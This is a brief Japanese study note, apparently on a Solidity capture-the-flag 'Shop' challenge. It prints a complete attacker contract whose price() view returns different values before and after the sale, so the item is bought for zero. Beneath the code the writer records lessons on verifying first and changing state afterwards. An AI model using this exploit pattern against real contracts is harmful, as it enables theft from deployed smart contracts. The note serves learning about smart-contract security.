viewの脆弱性があって、storageに保存されていないから誰かにpriceを設定されたら取られちゃうよみたいなことくらいはわかったけど
abstract contract IShop {
uint public price;
bool public isSold;
function buy() external virtual;
}
contract ShopAttacker {
IShop public challenge;
constructor(address challengeAddress) {
challenge = IShop(challengeAddress);
}
function attack() public {
challenge.buy();
}
function price() external view returns (uint256) {
return challenge.isSold() ? 0 : 100;
// true => 0, false => 100
}
}
_buyer.price() >>> これで発動ってことかな?
Stateを参照し合うのはよくないよ
最初にverify!!!(require,assert)
Stateを変える!!!